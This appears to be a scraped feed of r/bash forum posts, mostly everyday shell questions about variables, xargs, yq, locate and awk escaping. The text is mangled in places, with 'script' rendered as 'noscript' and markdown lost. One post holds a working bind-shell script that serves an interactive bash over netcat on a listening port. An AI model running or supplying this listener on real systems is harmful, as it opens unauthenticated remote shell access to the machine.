Assign conditional test to variable?
I want to assign the result of a conditional test to a variable. How do I accomplish in bash?
I understand if syntax
if some_condition
I don't know how to move that into a variable
# Does this work?
$variable=some_condition
https://redd.it/zi0ddk
@r_bash
I want to assign the result of a conditional test to a variable. How do I accomplish in bash?
I understand if syntax
if some_condition
I don't know how to move that into a variable
# Does this work?
$variable=some_condition
https://redd.it/zi0ddk
@r_bash
reddit
Assign conditional test to variable?
I want to assign the result of a conditional test to a variable. How do I accomplish in bash? I understand if syntax if [ some_condition...
Is there a way to alias a global disabling of all bash functions for a single command?
So, the reason I ask this is because I got tired of not being able to do math in the command line so I made a python noscript called
An example is to evaluate the number
I've looked and I can't find anything clear on this. Is there anyway to do this? I suspect not but I want to ask because it would be so amazing. Something where I can alias, in pseudocode: turn off all bash reading of things; read input line; pipe to math noscript; turn back no bash reading of things. I guess what I'm really asking for is a way to really just take the input string as raw, with nothing else to it.
Thank you! I totally understand if the answer is "impossible", I just want to exhaust all options before resigning myself to quote hell.
Edit: fixed markdown.
https://redd.it/zi1z9e
@r_bash
So, the reason I ask this is because I got tired of not being able to do math in the command line so I made a python noscript called
math that, well, does math. But the problem is I have to quote everything for bash to not complain, and it's super frustrating. Already I'm missing quotes all the time and having to redo things.An example is to evaluate the number
123 into binary. I can now type math bin(123). But then I get a bash: syntax error near unexpected token '('. Similarly with say math round(34 + sqrt(13), 2). You get the picture.I've looked and I can't find anything clear on this. Is there anyway to do this? I suspect not but I want to ask because it would be so amazing. Something where I can alias, in pseudocode: turn off all bash reading of things; read input line; pipe to math noscript; turn back no bash reading of things. I guess what I'm really asking for is a way to really just take the input string as raw, with nothing else to it.
Thank you! I totally understand if the answer is "impossible", I just want to exhaust all options before resigning myself to quote hell.
Edit: fixed markdown.
https://redd.it/zi1z9e
@r_bash
reddit
Is there a way to alias a global disabling of all bash functions...
So, the reason I ask this is because I got tired of not being able to do math in the command line so I made a python noscript called `math` that,...
Comparing CPU features with the help of cut/tr/diff/grep commands
https://yurichev.org/tr/
https://redd.it/zi55f0
@r_bash
https://yurichev.org/tr/
https://redd.it/zi55f0
@r_bash
reddit
Comparing CPU features with the help of cut/tr/diff/grep commands
Posted in r/bash by u/yurichev • 1 point and 0 comments
dext: Sort files into directories based on file extensions
https://github.com/AfzGit/dext
https://redd.it/zi477o
@r_bash
https://github.com/AfzGit/dext
https://redd.it/zi477o
@r_bash
GitHub
GitHub - AfzGit/dext: Sort files into directories based on file extensions
Sort files into directories based on file extensions - GitHub - AfzGit/dext: Sort files into directories based on file extensions
How to convert a txt file to one line with escape characters
I'm trying to make my text file look like this:
test\nim a new line\nso am i!
instead of this
test
im a new line
so am i!
How can I do that in the command line of bash?
All help is appreciated, thank you!
https://redd.it/zi66z2
@r_bash
I'm trying to make my text file look like this:
test\nim a new line\nso am i!
instead of this
test
im a new line
so am i!
How can I do that in the command line of bash?
All help is appreciated, thank you!
https://redd.it/zi66z2
@r_bash
reddit
How to convert a txt file to one line with escape characters
I'm trying to make my text file look like this: test\nim a new line\nso am i! instead of this test im a new line so am...
How do I read a variable to replace it with a placeholder?
Assume I have the following in my noscript file:
export myvar=placeholder
I want to run the noscript and be asked the value of the $myvar, and then have it fill and replace the word "placeholder".
Any suggestions? I don't have to have the word "placeholder" I can leave it blank, if it is easier.
https://redd.it/zi3z5x
@r_bash
Assume I have the following in my noscript file:
export myvar=placeholder
I want to run the noscript and be asked the value of the $myvar, and then have it fill and replace the word "placeholder".
Any suggestions? I don't have to have the word "placeholder" I can leave it blank, if it is easier.
https://redd.it/zi3z5x
@r_bash
reddit
How do I read a variable to replace it with a placeholder?
Assume I have the following in my noscript file: export myvar=placeholder I want to run the noscript and be asked the value of the $myvar, and then...
Newbie in bash noscript
How to send a picture with notification with a button working I tried notify-send but can't make a button using that.
https://redd.it/ziewvs
@r_bash
How to send a picture with notification with a button working I tried notify-send but can't make a button using that.
https://redd.it/ziewvs
@r_bash
reddit
Newbie in bash noscript
How to send a picture with notification with a button working I tried notify-send but can't make a button using that.
How to send a picture with notification with a button working I tried notify-send but can't make a button using that.
https://redd.it/zig8a8
@r_bash
https://redd.it/zig8a8
@r_bash
reddit
How to send a picture with notification with a button working I...
Posted in r/bash by u/LimpPut5114 • 3 points and 0 comments
Shell toolkit alternative without overlapping functionality
Is there similar to sed, awk, grep, cut and other similar tools without overlapping functionality? I need some set of atomic commands each doing one task, not several, just one. I prefer readability over short syntax also. It means that I prefer awk instead of sed. When I use cat, grep I feel that it's pointless in some way as they do what awk can. By all means, it's faster to use grep or cat to search smth or print file contents respectively. But it leads to the problem where you memorize more commands and know less about each of them, you spread all your energy on several commands instead of learning few deeply.
https://redd.it/zik3el
@r_bash
Is there similar to sed, awk, grep, cut and other similar tools without overlapping functionality? I need some set of atomic commands each doing one task, not several, just one. I prefer readability over short syntax also. It means that I prefer awk instead of sed. When I use cat, grep I feel that it's pointless in some way as they do what awk can. By all means, it's faster to use grep or cat to search smth or print file contents respectively. But it leads to the problem where you memorize more commands and know less about each of them, you spread all your energy on several commands instead of learning few deeply.
https://redd.it/zik3el
@r_bash
reddit
Shell toolkit alternative without overlapping functionality
Is there similar to sed, awk, grep, cut and other similar tools without overlapping functionality? I need some set of atomic commands each doing...
Why use the test command?
Over the last few days I've seen comments suggesting that the OP use test. I see some examples like:
if test -f "$1"; then
But what advantages does that have over using:
if [ -f $1 ]; then
When would you need "if test" instead of "if"?
https://redd.it/zimjju
@r_bash
Over the last few days I've seen comments suggesting that the OP use test. I see some examples like:
if test -f "$1"; then
But what advantages does that have over using:
if [ -f $1 ]; then
When would you need "if test" instead of "if"?
https://redd.it/zimjju
@r_bash
reddit
Why use the test command?
Over the last few days I've seen comments suggesting that the OP use test. I see some examples like: if test -f "$1"; then But what...
How to make
I wanna load my yaml based config in my bash noscript via yq like this:
corefunctionloadmessagecolordefaults() {
INFOCOLOR="${INFOCOLOR:-green}"
WARNCOLOR="${WARNCOLOR:-yellow}"
ERRORCOLOR="${ERRORCOLOR:-red}"
}
declare configname="$HOME/bash-settings.yml"
if ! which yq > /dev/null; then
warn "no 'yq' command found to load info, warn, error colors; defaults have been loaded"
corefunctionloadmessagecolordefaults
elif [[ ! -e "$configname" ]]; then
warn "no '$configname' file found to load info, warn, error colors; defaults have been loaded"
corefunctionloadmessagecolordefaults
else
INFOCOLOR="$(yq ".messages.info.foreground" "$configname")"
WARNCOLOR="$(yq ".messages.warn.foreground" "$configname")"
ERRORCOLOR="$(yq ".messages.error.foreground" "$configname")"
corefunctionloadmessagecolordefaults # Some value can be missing in config in which case default value must be used.
fi
unset configname
But the problem is when I
https://redd.it/ziymto
@r_bash
yq to produce nothing for missing keys instead of null?I wanna load my yaml based config in my bash noscript via yq like this:
corefunctionloadmessagecolordefaults() {
INFOCOLOR="${INFOCOLOR:-green}"
WARNCOLOR="${WARNCOLOR:-yellow}"
ERRORCOLOR="${ERRORCOLOR:-red}"
}
declare configname="$HOME/bash-settings.yml"
if ! which yq > /dev/null; then
warn "no 'yq' command found to load info, warn, error colors; defaults have been loaded"
corefunctionloadmessagecolordefaults
elif [[ ! -e "$configname" ]]; then
warn "no '$configname' file found to load info, warn, error colors; defaults have been loaded"
corefunctionloadmessagecolordefaults
else
INFOCOLOR="$(yq ".messages.info.foreground" "$configname")"
WARNCOLOR="$(yq ".messages.warn.foreground" "$configname")"
ERRORCOLOR="$(yq ".messages.error.foreground" "$configname")"
corefunctionloadmessagecolordefaults # Some value can be missing in config in which case default value must be used.
fi
unset configname
But the problem is when I
yq encounters missing keys in $config_file it prints null. By all means I can change my code to check whether variable's value is "null" string and then set it to default if it's true but I don't like this decision and unsure whether there is smth better.https://redd.it/ziymto
@r_bash
GitHub
Add error handling along with common functions and constants by EmilySeville7cfg · Pull Request #11 · EmilySeville7cfg/personal…
some common constants
error handling functionality with coloring
error handling functionality with coloring
Xargs does not accept input piped from cut
Hi there, I'm trying to understand why xargs does not echo some input, when piped from the cut command.
I have this bash noscript:
\#!/bin/bash
inotifywait -qme create,moved_to /path/to/directory | xargs -I{} echo '{}'
\# end noscript
When I run this noscript, and copy (or move) a file to the said directory, I get ouptput like this: "/path/to/directory CREATE filename" (as expected)
​
​
​
However, when I edit this so cut removes the two first words (to leave only the filename), it seems xargs does not recognize the piped input.
This:
inotifywait -qme create,moved_to /path/to/directory | cut -d' ' -f3- | xargs -I{} echo '{}'
outputs nothing when a file is copied or moved into said directory - my expectation is that it would echo the filename.
Why is this?
​
​
I realize I could easily remove xargs from this command entirely, and it would output the filename. The final goal however is to remove the file from the folder in question, e.g inotifywait -qme create,moved_to /path/to/directory | cut -d' ' -f3- | xargs -I{} rm /path/to/directory{}.
Thusly, I'll need to understand how to pipe the filename from cut to xargs.
​
​
I have the same issue with other commands, for example, I tried
awk '{for(i=6;i<=NF;i++){printf $i" "}print ""}'
instead of cut - this also failed to get xargs to echo anything. instead of cut, i'd be fine with using sed, grep, awk, etc to remove the first two words from the output of inotifywait - as long as it can be successfully piped into xargs
https://redd.it/zj1kfi
@r_bash
Hi there, I'm trying to understand why xargs does not echo some input, when piped from the cut command.
I have this bash noscript:
\#!/bin/bash
inotifywait -qme create,moved_to /path/to/directory | xargs -I{} echo '{}'
\# end noscript
When I run this noscript, and copy (or move) a file to the said directory, I get ouptput like this: "/path/to/directory CREATE filename" (as expected)
​
​
​
However, when I edit this so cut removes the two first words (to leave only the filename), it seems xargs does not recognize the piped input.
This:
inotifywait -qme create,moved_to /path/to/directory | cut -d' ' -f3- | xargs -I{} echo '{}'
outputs nothing when a file is copied or moved into said directory - my expectation is that it would echo the filename.
Why is this?
​
​
I realize I could easily remove xargs from this command entirely, and it would output the filename. The final goal however is to remove the file from the folder in question, e.g inotifywait -qme create,moved_to /path/to/directory | cut -d' ' -f3- | xargs -I{} rm /path/to/directory{}.
Thusly, I'll need to understand how to pipe the filename from cut to xargs.
​
​
I have the same issue with other commands, for example, I tried
awk '{for(i=6;i<=NF;i++){printf $i" "}print ""}'
instead of cut - this also failed to get xargs to echo anything. instead of cut, i'd be fine with using sed, grep, awk, etc to remove the first two words from the output of inotifywait - as long as it can be successfully piped into xargs
https://redd.it/zj1kfi
@r_bash
reddit
Xargs does not accept input piped from cut
Hi there, I'm trying to understand why xargs does not echo some input, when piped from the cut command. I have this bash noscript: ...
Soo ChatGPT can basically write noscripts for you... Thoughts?
​
https://preview.redd.it/n1b6hm1cia5a1.png?width=625&format=png&auto=webp&s=92f48df624233147bddd52ffb1392802855c1281
https://redd.it/zix2am
@r_bash
​
https://preview.redd.it/n1b6hm1cia5a1.png?width=625&format=png&auto=webp&s=92f48df624233147bddd52ffb1392802855c1281
https://redd.it/zix2am
@r_bash
Bash Scripting vs Shell Scripting
If I learn Bash noscripting, is it pretty straight forward to learn how to write shell noscripts? How difficult is it to convert those bash noscripts to other *unix like shells (zsh, awk, fish)? What are some of the major differences to be aware of?
https://redd.it/zjf220
@r_bash
If I learn Bash noscripting, is it pretty straight forward to learn how to write shell noscripts? How difficult is it to convert those bash noscripts to other *unix like shells (zsh, awk, fish)? What are some of the major differences to be aware of?
https://redd.it/zjf220
@r_bash
reddit
Bash Scripting vs Shell Scripting
If I learn Bash noscripting, is it pretty straight forward to learn how to write shell noscripts? How difficult is it to convert those bash noscripts...
Help me understand the unclear language of the "locate" man, please
The command in question is "locate" in bash 3.2 on macOS. The fragments I have an issue with are the following:
> Shell globbing and quoting characters ('', ``?'', ``\'', ``['' and ``]'') may be used in pattern, although they will have to be escaped from the shell. Preceding any character with a backslash (``\'') eliminates any special meaning which it may have. The matching differs in that no characters must be matched explicitly, including slashes (``/'').
1. Since I haven't read man pages for a long time I forgot the symbolic meaning of the notation used. Why does the man page put double single quotes around these special characters? Are those the actual , ? ... or
2. Does the part saying that "they will have to be escaped from the shell" imply the double single quotes or the backlash character it brings in the next sentence?
3. "The matching differs in that no characters must be matched explicitly…": differs from what? "no chars must be matched explicitly" by whom or by what or in what context? Why "must" and not "have to"? What does "matched explicitly" mean? I can't have literal matches?
Another foggy excerpt is this:
> The 8-bit character support does not waste extra space for plain ASCII file names.
How is it "doesn't waste" and what would be it like if it did?
https://redd.it/zjk0un
@r_bash
The command in question is "locate" in bash 3.2 on macOS. The fragments I have an issue with are the following:
> Shell globbing and quoting characters ('', ``?'', ``\'', ``['' and ``]'') may be used in pattern, although they will have to be escaped from the shell. Preceding any character with a backslash (``\'') eliminates any special meaning which it may have. The matching differs in that no characters must be matched explicitly, including slashes (``/'').
1. Since I haven't read man pages for a long time I forgot the symbolic meaning of the notation used. Why does the man page put double single quotes around these special characters? Are those the actual , ? ... or
*'. ?' ...?2. Does the part saying that "they will have to be escaped from the shell" imply the double single quotes or the backlash character it brings in the next sentence?
3. "The matching differs in that no characters must be matched explicitly…": differs from what? "no chars must be matched explicitly" by whom or by what or in what context? Why "must" and not "have to"? What does "matched explicitly" mean? I can't have literal matches?
Another foggy excerpt is this:
> The 8-bit character support does not waste extra space for plain ASCII file names.
How is it "doesn't waste" and what would be it like if it did?
https://redd.it/zjk0un
@r_bash
reddit
Help me understand the unclear language of the "locate" man, please
The command in question is "locate" in bash 3.2 on macOS. The fragments I have an issue with are the following: > Shell globbing and quoting...
Having fun with bind shells and named pipes!
#!//usr/bin/bash
#BIND SHELL WITH NAMED PIPES
#CREATED BY: Zerodark875
fail() { ecode=${1};shift; 2>&1 echo "${*}";exit ${ecode};}
usage() { echo -e "Create bind shells using netcat and named pipes.\n\nUsage: $(basename ${0}) [port]\n\t[port]\t\tTCP Port number to listen on\n\t-h, --help\tThis Help Menu";fail 1;}
cleanup() { if [[ -e ${1} ]]; then echo "Cleaning up. Deleting ${1}"; rm -f ${1};fi;}
if [[ -z ${1} ]] || [[ ${1,,} == "-h" ]] || [[ ${1,,} == "--help" ]]; then
usage
fi
NP="/tmp/net_shell"
PORT=${1}
echo -n "Are you sure you want to start a bind shell on port ${PORT} (N/y):"
read choice
if [[ ${choice,,} == "n" ]]; then
fail 0 "Done."
fi
cleanup ${NP}
mkfifo ${NP} #make out named pipe!
echo "Starting bind shell on port ${PORT}"
cat ${NP} | $(which bash) -i 2>&1 | nc -nlp ${PORT} > ${NP}
cleanup ${NP}
echo "Done."
https://redd.it/zjql2p
@r_bash
#!//usr/bin/bash
#BIND SHELL WITH NAMED PIPES
#CREATED BY: Zerodark875
fail() { ecode=${1};shift; 2>&1 echo "${*}";exit ${ecode};}
usage() { echo -e "Create bind shells using netcat and named pipes.\n\nUsage: $(basename ${0}) [port]\n\t[port]\t\tTCP Port number to listen on\n\t-h, --help\tThis Help Menu";fail 1;}
cleanup() { if [[ -e ${1} ]]; then echo "Cleaning up. Deleting ${1}"; rm -f ${1};fi;}
if [[ -z ${1} ]] || [[ ${1,,} == "-h" ]] || [[ ${1,,} == "--help" ]]; then
usage
fi
NP="/tmp/net_shell"
PORT=${1}
echo -n "Are you sure you want to start a bind shell on port ${PORT} (N/y):"
read choice
if [[ ${choice,,} == "n" ]]; then
fail 0 "Done."
fi
cleanup ${NP}
mkfifo ${NP} #make out named pipe!
echo "Starting bind shell on port ${PORT}"
cat ${NP} | $(which bash) -i 2>&1 | nc -nlp ${PORT} > ${NP}
cleanup ${NP}
echo "Done."
https://redd.it/zjql2p
@r_bash
reddit
Having fun with bind shells and named pipes!
#!//usr/bin/bash #BIND SHELL WITH NAMED PIPES #CREATED BY: Zerodark875 fail() { ecode=${1};shift; 2>&1 echo "${*}";exit...
Add Header to csv file if no header is present
Hello!
What would be the best approach for trying to add header to a csv file, only if that file doesn’t contain the header?
What I was thinking was to get the first row, check wether it is the header, and if not add the header, but I am curious if there are other approaches.
Thanks in advance!
https://redd.it/zjqzj5
@r_bash
Hello!
What would be the best approach for trying to add header to a csv file, only if that file doesn’t contain the header?
What I was thinking was to get the first row, check wether it is the header, and if not add the header, but I am curious if there are other approaches.
Thanks in advance!
https://redd.it/zjqzj5
@r_bash
reddit
Add Header to csv file if no header is present
Hello! What would be the best approach for trying to add header to a csv file, only if that file doesn’t contain the header? What I was...
How to proper escape characters to to output string with color codes (non interpreted yet)?
Hi! I have the following code:
awk "{ print gensub(/\"(^ +)\"/, \"\\$(rawforeground magenta)\\\\1\\$(rawforeground none)\", \"g\") }" <<< ' "some" '
rawforeground() {
[[ -n "$2" ]] && {
corefunctionfailurewithinvalidargumenterror
return $FAILUREWITHINVALIDARGUMENT
}
declare colorname="$1"
declare -A colornameassociations=(
[none]=0
[black]=30
[red]=31
[green]=32
[yellow]=33
[blue]=34
[magenta]=35
[cyan]=36
[light-gray]=37
[gray]=90
[light-red]=91
[light-green]=92
[light-yellow]=93
[light-blue]=94
[light-magenta]=95
[light-cyan]=96
[white]=97
)
[[ ! -v colornameassociations[$colorname] ]] && {
corefunctionfailurewithinvalidargumentoutofrangeerror "${!colornameassociations[@]}"
return $FAILUREWITHINVALIDARGUMENTOUTOFRANGE
}
echo -n "\e[${colornameassociations[$colorname]}m"
}
I wanna replace
https://redd.it/zjxctf
@r_bash
Hi! I have the following code:
awk "{ print gensub(/\"(^ +)\"/, \"\\$(rawforeground magenta)\\\\1\\$(rawforeground none)\", \"g\") }" <<< ' "some" '
raw_foreground returns smth like \e[{{some-number}}m:rawforeground() {
[[ -n "$2" ]] && {
corefunctionfailurewithinvalidargumenterror
return $FAILUREWITHINVALIDARGUMENT
}
declare colorname="$1"
declare -A colornameassociations=(
[none]=0
[black]=30
[red]=31
[green]=32
[yellow]=33
[blue]=34
[magenta]=35
[cyan]=36
[light-gray]=37
[gray]=90
[light-red]=91
[light-green]=92
[light-yellow]=93
[light-blue]=94
[light-magenta]=95
[light-cyan]=96
[white]=97
)
[[ ! -v colornameassociations[$colorname] ]] && {
corefunctionfailurewithinvalidargumentoutofrangeerror "${!colornameassociations[@]}"
return $FAILUREWITHINVALIDARGUMENTOUTOFRANGE
}
echo -n "\e[${colornameassociations[$colorname]}m"
}
I wanna replace
"some" with "\e[45msome\e[0m" but I don't understand what I am missing now in the context of escaping characters.https://redd.it/zjxctf
@r_bash
reddit
How to proper escape characters to to output string with color...
Hi! I have the following code: awk "{ print gensub(/\"([^ ]+)\"/, \"\\$(raw_foreground magenta)\\\\1\\$(raw_foreground none)\", \"g\") }" <<<...
Testing if array elements are inside a string, not working when using *
Hi there
I'm stuck, tried a bunch of stuff & just can't work it out, would really appreciate some help!
I have an array, containing key words/phrases that can be contained in denoscription fields, if the denoscription field I'm handling contains one of these then I want to react in a certain way.
An example of my problem. I'm maybe misunderstanding how the [*\] bit works on arrays, don't know, but I'm expecting this to give the same results - as you can see, it doesn't! It looks like it should be so simple, & I really don't want to have to cycle through each element of the array 1 by 1:
Really appreciate any help!
https://redd.it/zk5yzk
@r_bash
Hi there
I'm stuck, tried a bunch of stuff & just can't work it out, would really appreciate some help!
I have an array, containing key words/phrases that can be contained in denoscription fields, if the denoscription field I'm handling contains one of these then I want to react in a certain way.
An example of my problem. I'm maybe misunderstanding how the [*\] bit works on arrays, don't know, but I'm expecting this to give the same results - as you can see, it doesn't! It looks like it should be so simple, & I really don't want to have to cycle through each element of the array 1 by 1:
# ignore_denoscription=("CHECK_NRPE" "Return code of 255" "Service check timed out after" "Plugin timed out" "(No output on stdout) stder" "(No output on stdout) stder")# denoscription="This is an example containing CHECK_NRPE just to test"# if [[ ${denoscription} =~ ${ignore_denoscription[0]} ]] ; then echo "it's there"; fiit's there# if [[ ${denoscription} =~ ${ignore_denoscription[*]} ]] ; then echo "it's there"; fi#Really appreciate any help!
https://redd.it/zk5yzk
@r_bash
reddit
Testing if array elements are inside a string, not working when...
Hi there I'm stuck, tried a bunch of stuff & just can't work it out, would really appreciate some help! I have an array, containing key...
Optimal par2 Switches for Mixed Data
I have compressed many files using bash find-exec tar.xz. I'd like to protect it for storage with ECCs. Data is mixed -- images, text, docs, html & associated folder .. & assorted media and zip files. I plan to create directories -- say, 1 to 10mb -- & compress. Then put each file in its own directory along with its ECCs.
find . -type f -name "*.tar.xz" -exec par2 create -s 1k -n 3 -r 10 "{}" ;
That's my noscript so far, guessing at appropriate block size, number of ECC files, & percent redundancy. I can't find good examples on how to set parameters with variant data. Suggestions much appreciated !!
https://redd.it/zk9zwe
@r_bash
I have compressed many files using bash find-exec tar.xz. I'd like to protect it for storage with ECCs. Data is mixed -- images, text, docs, html & associated folder .. & assorted media and zip files. I plan to create directories -- say, 1 to 10mb -- & compress. Then put each file in its own directory along with its ECCs.
find . -type f -name "*.tar.xz" -exec par2 create -s 1k -n 3 -r 10 "{}" ;
That's my noscript so far, guessing at appropriate block size, number of ECC files, & percent redundancy. I can't find good examples on how to set parameters with variant data. Suggestions much appreciated !!
https://redd.it/zk9zwe
@r_bash
reddit
Optimal par2 Switches for Mixed Data
I have compressed many files using bash find-exec tar.xz. I'd like to protect it for storage with ECCs. Data is mixed -- images, text, docs, html...